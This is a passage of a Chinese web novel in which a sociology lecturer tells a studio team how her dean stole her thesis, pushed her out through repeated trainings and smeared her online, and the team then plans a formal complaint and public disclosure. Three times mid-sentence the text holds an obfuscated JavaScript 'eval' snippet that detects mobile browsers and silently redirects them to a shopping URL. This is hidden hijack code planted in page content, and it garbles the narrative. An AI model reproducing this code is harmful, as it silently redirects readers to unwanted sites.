窗外的阳光照进来,落在她脸上,但她整个人看起来像在阴影里。 “然后就没有然后了。” “我等了一周,他都没有联系我。” “我去找他,他的秘书说他出差了,我发消息,他不回,打电话,不接,发邮件,石沉大海。” “我以为他是在忙,我以为他需要时间核实,我等了又等。” “直到后来,我才明白。” 她抬起头,眼眶红肿,但已经没有眼泪了。 “他根本没有打算理我。” / “今年1月17日,我收到教务处的通知,”罗贝妮的声音变得很平,像是在读一份文件。 “通知说,我的《社会学概论》课程,从下周开始由其他老师代课。” “我去教务处问为什么,教务处的老师说,这是院里的安排,具体情况让我问院长。” “我马上去找导师,他的秘书说,院长出差了,下周才回来。” “第二天,我接到人事处的电话,说院里安排我去参加一个学术培训,在外地,15天,明天就出发。” 她的声音开始发抖。 “我很奇怪,我去年刚参加过培训,怎么可能这么快又安排?但我不敢不去。” “我一个人去了外地,那是一个封闭的培训中心,在郊区,周围什么都没有,每天就是听课、讨论、写心得,晚上回到房间,我就给导师发消息,问他什么时候有空。” “没有回复,一条都没有。” “我每天发,每天等,每天失眠……培训的内容我根本听不进去,脑子里全是这件事,他怎么想的?他是打算认账,还是不认账?他会怎么处理?我会不会因此得罪他?” “半个月,我瘦了十几斤。” 12. 罗贝妮的困境(二):学术霸凌(下) “1月25日,培训还没结束,那天晚上,我躺在床上刷学校论坛。” 罗贝妮的声音变得更轻了。 “有一个帖子,标题是《学术圈某些人,能不能要点脸?》” “帖子很长,说某高校有个女老师,为了评职称,想勾引自己的导师。导师是德高望重的学术权威,根本不理她,她就到处造谣,说导师偷了她的论文。” “没有点名道姓,但那些细节,女老师、评职称、最近在外地培训……” “评论区有人在问是谁,有人在猜,还有人回复说,‘知道是谁,但不敢说’,还有人说,‘这种人也配当老师?’” 她的眼泪又流下来。 “我当时浑身发抖,手机都拿不稳,我知道这是在说我。” 俞彩虹在旁边轻轻叹了口气。那叹息里有很多东西。 “这是学术霸凌的标准流程,”她说,声音很平静,“先剥夺资源,再摧毁声誉,让你在圈内社死,让你没办法发声,等你再想说什么,已经没人信了。” 罗贝妮点点头。 “大年初八,我回到学校,导师却又出差了;我发现,我的课还在被代课,我的名字也从两个研究项目里被拿掉了,我之前申请的课题经费都被驳回了。” “我意识到,他是在针对我” “大年初十,人事处又通知我去参加培训,这次是‘青年教师提升计划’,又在外地,又是15天。” 罗贝妮的声音沙哑得像砂纸。 “我整个人都崩溃了,年前我才刚刚培训回来,又让我去?这不是折腾人吗?” “但我能怎么办?他是院长,我只是个小讲师。我不去,就是违反学校规定。” “我收拾行李,又去了外地。” 她停顿了一下,眼神变得很奇怪。 “这次培训的时候,我突然想到一件事。” “当我在学校的时候,导师就出差,当我被派到外地培训的时候,他在学校。时间上,从来没有重合过。” “这说明他在刻意避开我,他根本就不打算跟我沟通。” “15天的培训结束以后,我没有回家,直接去了他办公室。” 罗贝妮的声音变得很平,平得像死水。 “那天我站在他办公室门口,深呼吸了好几次,然后我没有敲门,直接推门进去。” “他正在看文件,看到我,他愣了一下,然后他放下文件,看着我。” “那个眼神,我这辈子都忘不了。” “冷得像冬天的铁栏杆。” “我说,张老师,您已经看了我的论文,您怎么说?” “他摘下眼镜,靠在椅背上,看着我,过了很久,他才开口。” “他说,罗贝妮,我告诉你,我的论文没有问题。” “我愣住了。” “他说,你的论文观点,是你自己研究出来的不假,但那些观点,是在我指导的框架下形成的,那个框架,是我的。” “我说,可是内容是我自己……” “他打断我,内容?没有框架,哪来的内容?没有我的指导,你能研究出什么?” 罗贝妮的声音开始发抖,但还在继续说。 “他说,你现在还年轻,不懂学术圈的规矩,导师和学生之间,界限本来就很模糊,学生写的论文,导师用了,是学术传承。” “他说,你要是非要把这事捅出去,对谁都没好处,你以为学界会站在你这边?” “他说,你要想清楚,你还想在这个学院待下去,想评副教授、想当教授,就别做傻事。” “他说,我这个院长也当不了几年,你还年轻,路还长,等我退休了,有的是机会。” “他说,明天的培训,别迟到了。” “说完,他就继续低头看文件,不再理我。” 罗贝妮的眼泪又流下来。 “我站在他办公室里,浑身发抖,一句话都说不出来。” “我不知道自己是怎么走出去的。只记得走到门口的时候,听到他在后面说了一句……” “罗贝妮,学术圈就这么大,不要自己把自己的路走窄了。” / 工作室里安静了很久。 那是一种很奇怪的安静。不是空白的安静,而是每个人都在消化着什么,每个人心里都有东西在翻涌。 吴小糖的眼眶红了,她忍着没说话。 应宽的手指停在键盘上,没有敲,盯着屏幕发呆。 俞彩虹沉默着,脸上看不出表情。但她的眼睛里有东西,很深的东西,像是一口井,井底有水在翻涌。 徐寄遥坐在那里,看着罗贝妮。 罗贝妮低着头,肩膀一抖一抖的,但没有哭出声。她整个人缩在沙发里,像一只被雨淋透的小动物。 过了很久,俞彩虹开口了。 她的声音很轻,轻得像羽毛,但每一个字都很清晰。 “罗老师,你知道吗?” 罗贝妮抬起头,看着她。 “我当年也是被这样劝退的。” 俞彩虹的声音平静得像在讲别人的故事。 “我研究中国式家庭暴力,写了十几篇论文,采访了上百个受害者,然后有一天,举报信就来了,匿名信,打印的,寄到校长办公室、寄到教育厅、寄到纪委。” “说我抹黑中国家庭形象,说我煽动社会矛盾,说我收受境外势力资助,每一条都够喝一壶的。” “我的导师也跟我说过类似的话,你还年轻,不要把自己的路走窄了。” “我当时也站在他办公室里,浑身发抖。” 她顿了顿。 “后来我主动辞职了,不是因为认输,是因为太累了。” 罗贝妮看着她,眼泪又流下来。 “那您……您后悔吗?” 俞彩虹想了想,摇摇头。那个摇头的动作很慢,像是经过了很多年的思考。 “不后悔,因为那不是我想要的学术圈。” 她看着罗贝妮。 “但你不一样,你还有机会。” / 这时,应宽开口了。 “我查了一下。” 他突然顿住,对罗贝妮打招呼:“哦,罗老师,我是‘以和为贵’,应宽,你好。” 罗贝妮嘴角挤出一个弧度,点头回应:“你好。” 应宽把电脑屏幕投影到白墙上,然后调出一份数据。 “我追踪了启元大学校内论坛上攻击罗老师的账号,发现IP地址很分散,全国各地都有。” 他放大了其中一个数据。 “你们看这个操作时间,攻击最密集的时候,集中在工作日的上午九点到下午六点,周末和晚上几乎没有动静。” 徐寄遥的眼睛眯了起来。 “这是职业水军的特征。” 应宽点头,继续说: “于是我顺手查了一下张凌烽的资料。” 徐寄遥立刻问: “有发现?” “对,”应宽推了推眼镜,“张凌烽是和解大师APP的特约专家,在上面开专栏,很受欢迎,粉丝几十万。” “又是伯牙科技?!”吴小糖嚷嚷起来,“我去,阴魂不散啊!” 应宽点头: “2024年10月,张凌烽接受过伯牙科技的一笔研究经费,金额500万。” 罗贝妮的脸色变了。 应宽说: “项目名称是‘当代中国社会问题与家庭矛盾的心理干预机制研究’,正是罗老师毕业论文的选题。” 他调出一份项目资助合同扫描件。 【项目名称:当代中国底层社会代际贫困的传递机制与破解路径】 【资助方:伯牙科技有限公司】 【受助方:启元大学社会学系】 【项目负责人:张凌烽】 【资助金额:500万元人民币】 【签约时间:2024年10月15日】 罗贝妮的脸色更白了。 / 徐寄遥站起来,走到窗边,看着外面的街道。 沉默了很久。 然后她转过身。 “罗老师,你今天来找我们,想让我们帮你做什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239919|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗贝妮愣了一下。 “我、我想说话,我想让这件事被公正地对待。” “但是?”徐寄遥问。 “但是我说不了话,”罗贝妮的声音沙哑,“校内论坛上,有人在带节奏骂我,我的账号发不了东西,发了就被删,我的个人微博,发什么都没人看,就算有人看也没人信,我试过发朋友圈,同事们都假装没看见。” “我找过学院其他领导,没人接电话,我发过邮件,石沉大海,我去过校纪委,工作人员说,要有证据,我说我有证据,他们说,那要等调查,我说要等多久,他们说,这个不好说。” 她看着徐寄遥。 “徐总,我不知道还能找谁,我不知道还能怎么办。” “你们能帮我吗?” 徐寄遥看着她。 “罗老师,我问你一个问题。” 罗贝妮点头。 “如果你知道这件事可能会拖很久,可能会让你很难受,可能会影响你以后的路,你还想做吗?” 罗贝妮沉默了很久。 窗外有阳光照进来,落在她身上。但她整个人坐在阴影里。 过了很久,她点点头。 “想做。” “为什么?” 罗贝妮想了想。那个想的过程很长,她像是在认真地问自己这个问题。 然后她说: “那是我花了一年时间写出来的东西,那一年,我在三个村子里待了半年,每天吃土豆白菜,住在土房里;那些数据,是我一家一家敲门问出来的,那些结论,是我熬了无数个夜一点点磨出来的。” “我不甘心,凭什么他拿我的东西,拿了500万,当了院长,我还要被骂想走捷径?” “我不想以后每次想起这件事,都后悔自己什么都没做。” 她的声音很轻,但很稳。 “徐总,我知道可能会很难。但我想试试。” 徐寄遥看着她,嘴角微微上扬。 “好。” 她走回自己的位置,坐下。 俞彩虹看着罗贝妮,轻声说: “罗老师,你那些证据,都还在吗?” 罗贝妮点点头。 “都在。论文草稿有多个版本,时间戳很清楚,邮件记录,微信截图,我都存了,他最后那次谈话,我偷偷录音了。” 俞彩虹点点头。 “有证据,就不怕。” 吴小糖凑过来,拍拍罗贝妮的肩膀。 “罗老师,你放心,我们代吵会保护你的!谁敢来欺负你,我先骂回去!” 罗贝妮看着她,愣了一下。 然后她笑了。 那笑容很淡,但那是她今天第一次笑。 徐寄遥站起来,走到白板前。 她在白板上写下几个字: 【学术霸凌】 【核心:导师剽窃 + 学术霸凌 + 利益链】 【目标:让真相被看见】 她转过身,看着罗贝妮。 “罗老师,这件事,我们接了。” “这条路很难,但你既然来了,我们就陪你走。” 罗贝妮看着她,眼眶又红了。 / 晚上九点,罗贝妮离开了工作室。 吴小糖送她下楼。 应宽还在电脑前,盯着张凌烽的资料。 “这个人挺有意思,”他说,“学术履历很漂亮,发了三十多篇论文,拿了七八个项目,但是仔细看,他所有的论文,都是跟学生合著的。” 徐寄遥走过去。 “什么意思?” “意思是他自己不写论文,只署名,”应宽说,“他的学生写,他挂名,学生需要他的资源,需要他的推荐,他需要学生的劳动力,互利共赢。” 俞彩虹走过来,看着屏幕。 “这就是典型的学术包工头,”她脸上有轻蔑的神色,“接项目,分给学生做,自己拿大头;学生为了毕业,为了评职称,只能忍着。” 俞彩虹叹了口气。 “学术圈,本来应该是追求真理的地方,现在都变成生意了。” 13. 罗贝妮的困境(三):无处可逃 2025年3月17日,下午三点。 罗贝妮出现在工作室门口的时候,吴小糖差点没认出来。 她戴着黑色口罩,压着一顶棒球帽,帽檐压得很低,身上裹着一件过大的灰色风衣,整个人缩在里面,像一只受惊的刺猬。 进门之后,她摘下口罩和帽子,露出一张惨白的脸。 吴小糖倒吸一口凉气。 半个月不见,罗贝妮像变了一个人。眼眶深深地凹下去,眼下一片青黑,嘴唇干裂起皮,整个人瘦了一圈,颧骨都凸出来了。 “罗老师,你……” 罗贝妮摇摇头,没说话。她走到沙发边坐下,动作很慢,像是一具被抽走了力气的木偶。 她沉默了很久。 徐寄遥没有催她。俞彩虹也没有说话。应宽的键盘声不知道什么时候停了。吴小糖在旁边坐着,安静得像一只收起了爪子的猫。 窗外的阳光照进来,落在罗贝妮身上,但她整个人坐在阴影里。 过了很久,她开口了。 她的声音很轻,像是从很深很深的地方飘上来。 “2月15日那天,张凌烽在办公室对我说的那些话,我一个字都没忘。” 罗贝妮的声音很平,平得像死水。 “‘你还年轻,路还长’‘不要自己把自己的路走窄了’” 她重复着那些话,像是要把它们从脑子里抠出来。 “那天我回到家里,在床上躺了两天,没有吃饭,没有喝水,没有出门,窗帘一直拉着,分不清白天黑夜。” “我脑子里一直在转,转他的话,转我的论文,转接下来该怎么办,有时候转着转着,天就黑了,再转着转着,天又亮了。” 她顿了顿。 “第三天,我爬起来,去参加了那个培训。” “因为我害怕,他是院长,我只是个小讲师,我不去,能怎样?他能让我在这条路上走得更窄。” “培训又在外地,又是15天,还是那个地方,还是那些人,还是那些内容,每天就是听课、讨论、写心得,晚上回到房间,我就躺在床上,盯着天花板发呆,有时候盯着盯着,天就亮了。” 罗贝妮的声音里有种说不出的疲惫。 “我给自己列过几条路。” 她伸出左手,一根一根手指数。 “第一条,继续等;等他良心发现,主动认错,但我知道不可能,他不是那种人,他能在学术界爬到今天这个位置,靠的就是踩着别人往上走。” “第二条,公开举报;去找纪委,找媒体,把证据摆出来,但我没有那个勇气,他是院长,他的学生遍布学界,他的人脉我根本比不了,我举报他,最后死的肯定是我;他会在媒体上说我是‘想走捷径没走成’,他的学生会在论坛上发帖,说我是‘学术妲己’;到最后,没人会在乎真相是什么。” 她的声音开始发抖。 “第三条,就这么算了;假装什么都没发生,继续上我的课,继续做我的研究,但我做不到,每次想到那篇论文,我就睡不着,那是我的东西,那是我在三个村子里待了半年,吃土豆白菜,住土坯房,一家一家敲门问出来的东西,我凭什么就这么算了?” “我一条路都走不了,我被困住了。” / “培训结束那天是3月1日。” 罗贝妮继续说。 “我回到学校,没有回家,直接去了办公室。” “我的办公室在教学楼五层,朝北,冬天很冷,但那天的阳光特别好,从窗户照进来,落在我的办公桌上,桌上积了一层薄薄的灰。” “我站在那里,看着那张桌子,突然觉得很陌生。” “我在那里坐了五年,五年里,我备课、写论文、看学生的作业,我以为那是我的地方,我属于那里。” “但那天我看着它,觉得那不是我的,从来都不是。” 她低下头。 “因为张凌烽一句话,就能让我失去它,不是那张桌子,是那间办公室,是那所学校,是整个学术圈。” “他一句话,就能让我失去一切。” 罗贝妮的声音变得很轻。 “3月2日,我第一次来找你们,跟你们聊过之后,我的心情好了一点。” “有人听我说话,有人相信我,有人愿意帮我,我觉得也许还有希望。” “那天晚上回去,我睡得很好,很久没有睡得那么好了。” “但第二天早上,我打开邮箱,人事处的通知又来了。” 她顿了顿。 “又是培训,又是‘青年教师提升计划’,又在外地,又是15天。” “我看着那封邮件,整个人都懵了。” “我刚刚培训回来,又让我去?这是什么意思?” “我问同事,同事说,可能是院里在培养你吧;我问另一个同事,另一个同事笑笑,没说话,那个笑,我到现在都记得,那是一种‘你自己心里没数吗’的笑。” “我明白了。” “这不是培训,这是在逼我离开。” “那天晚上,我一夜没睡。” 罗贝妮的声音开始发抖。 “我想了很多,想我的论文,想张凌烽的话,想那些帖子里的骂声,‘有些人想靠走捷径评副教授’。” “我想给我妈打电话,但我不敢,她身体不好,我怕她担心;她一个人在老家,要是知道我出了这种事,她会急疯的。” “我想给朋友打电话,但我没有那种朋友,读博的时候,大家都忙,各写各的论文,各愁各的前途,毕业之后,各奔东西,偶尔在微信上聊几句,都是客客气气的,这种事,我怎么说?‘我导师偷了我的论文,还整我,我不知道该怎么办’,人家会信吗?就算信了,能帮我吗?大家都是小讲师,谁帮得了谁?” “我想给学校领导发邮件,但我能说什么?说张凌烽剽窃我?就算有证据,谁会为了一个小讲师去得罪一个学术权威?” 她抬起头,看着徐寄遥。 “那天晚上,我真的想过,要不就算了吧。” “我认了,我不要那篇论文了,我换个学校,重新开始。” “但我又想,我能换到哪儿去?我的研究方向是他带的,我的推荐信得找他写,我的学术圈人脉全是他给的,他一句话,就能让我在学界混不下去。” “我走不了,我哪儿都去不了。” / 工作室里安静得连呼吸都能听见。 罗贝妮继续说。 “3月3日,我没有去参加培训。” 她的声音变得很平,平得像在陈述别人的事。 “那天早上,我醒得很早,五点多就醒了,我躺在床上,盯着天花板,想了很久。” “然后我爬起来,洗漱,穿好衣服,去了学校。” “我没有去培训,我去了自己的办公室。” 吴小糖忍不住问:“您是没有经过领导许可,直接就不去了吗?” 罗贝妮点点头。 “我实在不想再去那个培训了,那些内容我听了一百遍,那些人我一个都不想见,那个地方我多待一天都受不了。” “我想,我就赌一把。看张凌烽能把我怎么样。” “3月4日,我连学校都没去。” 罗贝妮继续说。 “那天我把自己关在家里,把所有材料都整理了一遍。” “论文草稿,不同版本,时间戳清清楚楚,和张凌烽的邮件记录,从2020年到今年2月,一条都没删,微信截图,他那些模棱两可的话,还有最后那次谈话的录音。” 她顿了顿。 “我把这些东西都存到一个U盘里,随身带着。” “我想,万一呢,万一真的走到那一步,这些东西也许有用。” “3月5日,第三天,我还是没去。” 罗贝妮的声音变得更轻了。 “那天下午,我收到了人事处的邮件。” 她闭上眼睛,像是在背诵一段烂熟于心的文字。 “‘罗贝妮老师,您已连续三天未参加青年教师提升计划培训,也未提交请假申请。根据学校规定,无故缺席培训视同旷工。请于3月6日下班前,向人事处提交书面说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239920|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明,否则将按旷工处理。’” 她睁开眼睛。 “我盯着那封邮件,盯了很久。” “我知道这意味着什么,旷工超过五天,就可以解聘。” “我还有两天。” “3月6日早上,我给学校领导发了一封邮件。” 罗贝妮的声音开始发抖。 “我说,我病了,想请几天假。” “没有说是什么病,没有附证明,就是一句轻飘飘的话。” “邮件发出去了,然后就是等。” “我等了一上午,没有回复。” “等了一下午,没有回复。” “等到晚上,还是没有回复。” “我知道他们看到了,但他们不回,让我请假,就等于承认我有理由不去培训,不让我请假,又显得太不近人情,所以他们不回,就这么吊着我。” “那天晚上,我一个人在房间里,哭了很久。” “3月7日,第五天。” 罗贝妮的声音变得很平,平得像死水。 “那天早上,我收到了人事处的第二封邮件。” “‘罗贝妮老师,您已连续五天未参加培训,也未提交有效请假证明。根据学校规定,即日起暂停您的教学工作,等候进一步处理。’” “‘请您于3月10日前,到人事处办理相关手续。’” 她抬起头,看着徐寄遥。 “你们知道那个‘相关手续’,指的是什么吗?” 徐寄遥没有说话。 罗贝妮自己回答了: “离职手续。” / “3月8日到3月10日,那三天,我不知道自己是怎么过的。” 罗贝妮的声音沙哑得几乎听不清。 “我不出门,不见人,不接电话,窗帘一直拉着,分不清白天黑夜,有时候睡过去,醒来不知道是几点,有时候一直醒着,盯着天花板发呆。” “脑子里一直在转,转张凌烽说的话,‘你还年轻,路还长’‘不要自己把自己的路走窄了’” “我想,我的讲师之路,是不是已经走到头了?” “3月10日那天,我去了人事处。” 罗贝妮的声音很轻,轻得像在说一件和她无关的事。 “人事处的老师递给我一张表,离职申请表。” “她说,罗老师,你签个字,交回来就行了,剩下的事,学校会处理。” “我看着那张表,看了很久。” “然后我说,我考虑一下。” “我拿着那张表,走出了人事处。” “那天下午,我在学校里走了很久。” 罗贝妮的声音变得更轻了。 “走了很多地方,教学楼,图书馆,食堂,操场,那些我待了八年的地方。” “八年,从读博到现在……八年,我在这里度过了我的博士生时光,又在这里做了五年老师,我上了多少节课,改了多少份作业,写了多少篇论文,我以为那是我的人生,是我的事业,是我的未来。” “但那天我走在那里,看着那些熟悉的地方,突然觉得一切都离我很远,我好像已经不是这里的人了。” “我把那张离职申请表压在枕头底下。” 罗贝妮叹了口气,那叹息里有很多东西。 “每天晚上睡觉前拿出来看一次,每天早上醒来再看一次。” “我不知道还能撑多久。” / 工作室里安静了很久。 吴小糖的眼眶红了。她咬着嘴唇,拼命忍着,但眼泪还是掉下来。她用手背擦了一下,又擦了一下,越擦越多。 应宽盯着屏幕,没有敲动键盘。但他的手指在键盘上轻轻颤抖。 俞彩虹坐在那里,脸上看不出表情。但她的眼睛里有东西在翻涌,那是经历过同样事情的人才有的眼神。 徐寄遥看着罗贝妮。 过了很久,她开口了。 “罗老师,那张表,先留着。” 她的声音很平静,但很稳。 “也许用不着。” 14. 罗贝妮的困境(四):策略制定 罗贝妮的讲述结束已经一个多小时了,工作室里还是一片沉默。 窗外的阳光从西斜变成金黄,在地板上投下长长的影子。 吴小糖的眼眶还红着,她咬着嘴唇,忍着眼泪。 应宽的手指停在键盘上,一动不动,屏幕上光标一闪一闪,像是在等着什么。 俞彩虹脸上看不出表情,但她的眼睛里有东西在翻涌。 罗贝妮低着头,盯着手里的水杯。水早就凉了,但她还是一直握着。 徐寄遥沉默了很久才开口: “罗老师,那张离职表,你带在身上吗?” 罗贝妮愣了一下,点点头。 “在包里。” “拿出来看看。” 罗贝妮从包里翻出一张A4纸,展开。纸上印着“离职申请表”几个黑体字,最底下的签名栏空着。 徐寄遥接过去,看了一眼。 “截止日期是今天?” 罗贝妮点点头。 “人事处说,让我3月10日前交上去。今天已经17号了。” 吴小糖急了:“那、那是不是已经过期了?” 罗贝妮摇摇头。 “过期倒不会,这种表,你什么时候交,他们什么时候收,问题是……” 她顿了顿。 “我不交,就是旷工,旷工超过五天,他们可以直接解聘,我交,就等于自己承认走人。” 徐寄遥把表还给她。 “所以你现在是被架在那儿了,交也不是,不交也不是。” 罗贝妮点点头。 “我被他们牵着鼻子走了半个月,从培训到旷工,从旷工到离职,每一步都是他们设计好的。” 她抬起头,看着徐寄遥。 “我现在该怎么办?” 徐寄遥没有回答。 她走到白板前,拿起笔,写下几个字: 【罗贝妮·现状】 【问题1:离职表——交还是不交?】 【问题2:旷工——已超5天,随时可能被解聘】 【问题3:举报——有证据,但不敢发】 她写完,转过身。 “罗老师,你看出来了吗?” 罗贝妮盯着那几个问题,沉默了几秒。 “看出来什么?” “你现在所有的困境,都是被动的;他们在出招,你在接招;他们安排培训,你去;他们让你旷工,你旷;他们让你交表,你犹豫。” 徐寄遥的声音很平静,但每一个字都很清晰。 “你得换一个思路。” “什么思路?” “别接招了,得出招。” / 罗贝妮愣住了。 “我……我出招?” 徐寄遥点点头。 “你现在手里有什么?” 罗贝妮想了想。 “论文草稿、邮件记录、微信截图、录音。” “还有什么?” “还有?……这件事本身吧。” “这件事本身怎么了?” 罗贝妮犹豫了一下。 “这件事……它本身就是一个问题,一个导师剽窃学生论文,还打压下属的问题。” 徐寄遥点点头。 “对,这就是你的武器。” 她走回白板前,在几个问题下面画了一条线,然后写下: 【反击方案】 【第一步:整理材料,形成书面举报信】 【第二步:向校方所有相关部门正式举报】 【第三步:同步公开发布,形成舆论监督】 【第四步:用举报期间的法律保护期反制离职程序】 她写完,放下笔。 “罗老师,你知道《劳动法》第42条吗?” 罗贝妮摇摇头。 “《劳动合同法》第42条规定,劳动者在依法维权期间,用人单位不得解除劳动合同。” 徐寄遥看着她。 “你现在要做的,就是进入依法维权期。” 罗贝妮的眼睛慢慢亮起来。 “你的意思是……我先举报,用举报来挡住他们逼我离职?” 徐寄遥点点头。 “对,你只要正式提交了举报材料,就进入了法律保护的程序;在这个程序进行期间,他们不能以旷工为由解聘你,旷工的前提是你‘无故’缺勤,但你是‘有故’的,你在依法维权。” 罗贝妮的手开始发抖。 “那、那我应该举报什么?举报张凌烽抄袭?” “不止。” 徐寄遥在白板上写下: 【举报内容】 【1. 学术抄袭:张凌烽剽窃罗贝妮2020年论文核心成果】 【2. 学术霸凌:张凌烽利用院长职权,安排重复培训、制造旷工、逼迫离职】 【3. 滥用职权:张凌烽在举报后刻意回避、威胁恐吓】 她写完,看着罗贝妮。 “这三条,每一条都有证据。” “抄袭有论文对比,霸凌有培训通知和旷工记录,滥用职权有录音;你把这三条整理成一份完整的举报信,发给校纪委、校领导、人事处,所有能发的部门都发一遍。” 罗贝妮犹豫了。 “可是,发给他们有什么用?他们是同一个学校的,会向着我?” 徐寄遥摇摇头。 “不是让他们向着你。是让他们不能无视你。” 她顿了顿。 “你把举报信发给他们,他们就收到了‘正式举报’;按照教育部规定,他们必须在规定时间内受理、调查和答复;如果他们不处理,或者包庇张凌烽,你可以向上级部门举报他们不作为。” “到那个时候,这件事就不是你和张凌烽两个人的事了。” 俞彩虹在旁边轻轻点头。 “寄遥这个思路是对的。” 她走过来,看着白板上的字。 “罗老师,我在大学待了17年,见过太多这种事,为什么大多数被霸凌的人最后都输了?不是因为他们没证据,是因为他们怕。” “怕举报了没用,怕举报了被报复,怕举报了反而把自己搞得更惨;所以,他们一直忍,一直拖,一直等;等到最后,人被搞走了,什么都没留下。” 她看着罗贝妮。 “你已经走到这一步了,没什么好怕的了。” 罗贝妮沉默了很久。 然后她问: “那、公开发布呢?真的要发到网上?” 徐寄遥点点头。 “对,但不是在举报之前发,是在举报之后发。” “为什么?” “因为举报是程序,公开发布是舆论。” “程序在前,舆论在后,这叫合法维权;反过来,舆论在前,程序在后,别人会说你是炒作。” 她顿了顿。 “你先发举报信给学校和纪委,给所有该给的部门,然后在举报信发出24小时后,把举报内容公开发布到网上;那个时候,你已经完成了‘正式举报’的程序,舆论只是为了让更多人知道,从而进行社会监督。” 罗贝妮的眼睛更亮了。 “这样学校就不能说我是在网络维权了?” 徐寄遥点点头。 “你在走程序,程序没走通才不得不上网。” / 应宽一直在旁边听着,这时候开口了。 “罗老师,你那些证据,能给我看看吗?” 罗贝妮从包里拿出U盘,递给他。 “都在里面。” 应宽接过去,插在电脑上。 “论文草稿有十几个版本?” “是的,从2019年3月到2020年3月,每一版都有时间戳。” “邮件记录呢?” “从他否定我那篇论文的那封开始,到今年2月,一条没删。” “录音呢?什么格式的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239921|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “手机录的,MP3,那次谈话全录下来了,四十多分钟。” 应宽点点头,开始浏览。 他的表情越来越认真。 “罗老师,你这证据质量很高。” 他指着屏幕。 “论文草稿的时间戳,能证明这篇论文在你手里已经存在了五年多,张凌烽那篇论文是去年年底发的,时间上他对不上。” “邮件记录里,他否定你这篇论文的那封邮件,是铁证,他说‘这个选题意义不大’,让你换方向,结果五年后他自己发表了,这叫什么?这叫剽窃。” “录音也很关键,他那些话,表面上看起来像是在劝导,但结合上下文,结合你被安排培训、被旷工、被逼离职的事实,就能证明他在威胁你。” 他推了推眼镜。 “这些东西,足够写一份让任何人都挑不出毛病的举报材料了。” 徐寄遥走到应宽身后,看着屏幕。 “整理这些需要多久?” 应宽想了想。 “一到两天,我能给你一份完整的证据链报告,包括时间线、对比分析、法律依据,拿出去,直接可以当举报材料用。” 徐寄遥点点头,又看向俞彩虹。 “俞老师,举报信写完之后,发给谁?你有建议吗?” 俞彩虹想了想。 “校纪委、校领导、人事处、学术委员会,这四个部门是必须发的;另外,教育部学术不端举报邮箱,也可以发一份。” 她顿了顿。 “我在媒体圈还有一些朋友,等举报信发出去了,我可以联系他们,让他们关注,万一学校压着不处理,有媒体盯着,他们不敢太乱来。” 罗贝妮听着,眼泪又流下来。 但这一次,是终于看到曙光的眼泪。 / 徐寄遥走回白板前,在最下面写了一行字: 【代吵团队·罗贝妮·行动方案】 【第一步(今晚-明天):罗贝妮整理举报信草稿,徐寄遥协助修改】 【第二步(3月19日):应宽完成证据链报告】 【第三步(3月20日):正式提交举报信(校纪委/校领导/人事处/学术委员会/教育部)】 【第四步(24小时后):公开发布举报内容,同步联系媒体关注】 她写完,转过身。 “罗老师,这个方案,你觉得怎么样?” 罗贝妮盯着白板上的那几行字,看了很久。 然后她站起来。 “我做。” 她的声音很轻,但很稳。 “寄遥,我写举报信,你帮我改。” 吴小糖在旁边看着,眼眶又红了。 她走到罗贝妮面前。 “罗老师,你放心,这几天你就在这儿写,我陪着,保证你的人身安全。” 罗贝妮看着她,愣了一下。 然后笑了,“谢谢。” 俞彩虹走过来,拍拍她的肩。 “罗老师,我当年没做到的事,你来做,我当年没说完的话,你来说。” 应宽推了推眼镜。 “证据的事,交给我。” 徐寄遥看着他们,嘴角微微上扬。 “那就这么定了。” 她走到窗边,看着外面渐渐暗下来的天色。 “罗老师,从现在开始,你不是一个人在走了。” / 窗外的路灯亮起来,橙黄色的光透过玻璃,落在工作室的地板上。 罗贝妮坐在沙发上,面前放着她的平板电脑,开始写: 【实名举报信】 【举报人:罗贝妮,启元大学社会学系讲师】 【被举报人:张凌烽,启元大学社会学系院长、教授】 【举报事项:】 她停下来,看着那几个字。 手在发抖。 但她没有停。 她继续写下去。 15. 罗贝妮的困境(五):攻击升级 2025年3月18日,凌晨一点十七分。 应宽是第一个发现的。 他习惯晚睡。整个工作室都安静下来之后,他还在电脑前敲代码。屏幕的蓝光打在他脸上,镜片上反射出一行行滚动的数据。 这个点了,其他人都在各自的房间里休息,客厅里只剩他一个人。 小红书弹窗跳出来的时候,他本来没想理。每天这种推送太多了,十条有九条是垃圾广告,要么是无聊的短视频。 但他瞥了一眼,手指停住了。 《某大学女老师为评副教授勾引导师,被拒绝后被孤立》 标题很长,但每一个字都像针一样扎进眼睛里。 应宽扫了一眼正文,然后他的脸色沉了下来。 启元大学。社会学系。女老师。刚上任的院长。 这四个关键词拼在一起,指向只有一个人。 他没有犹豫,直接给团队每个人发了条消息: 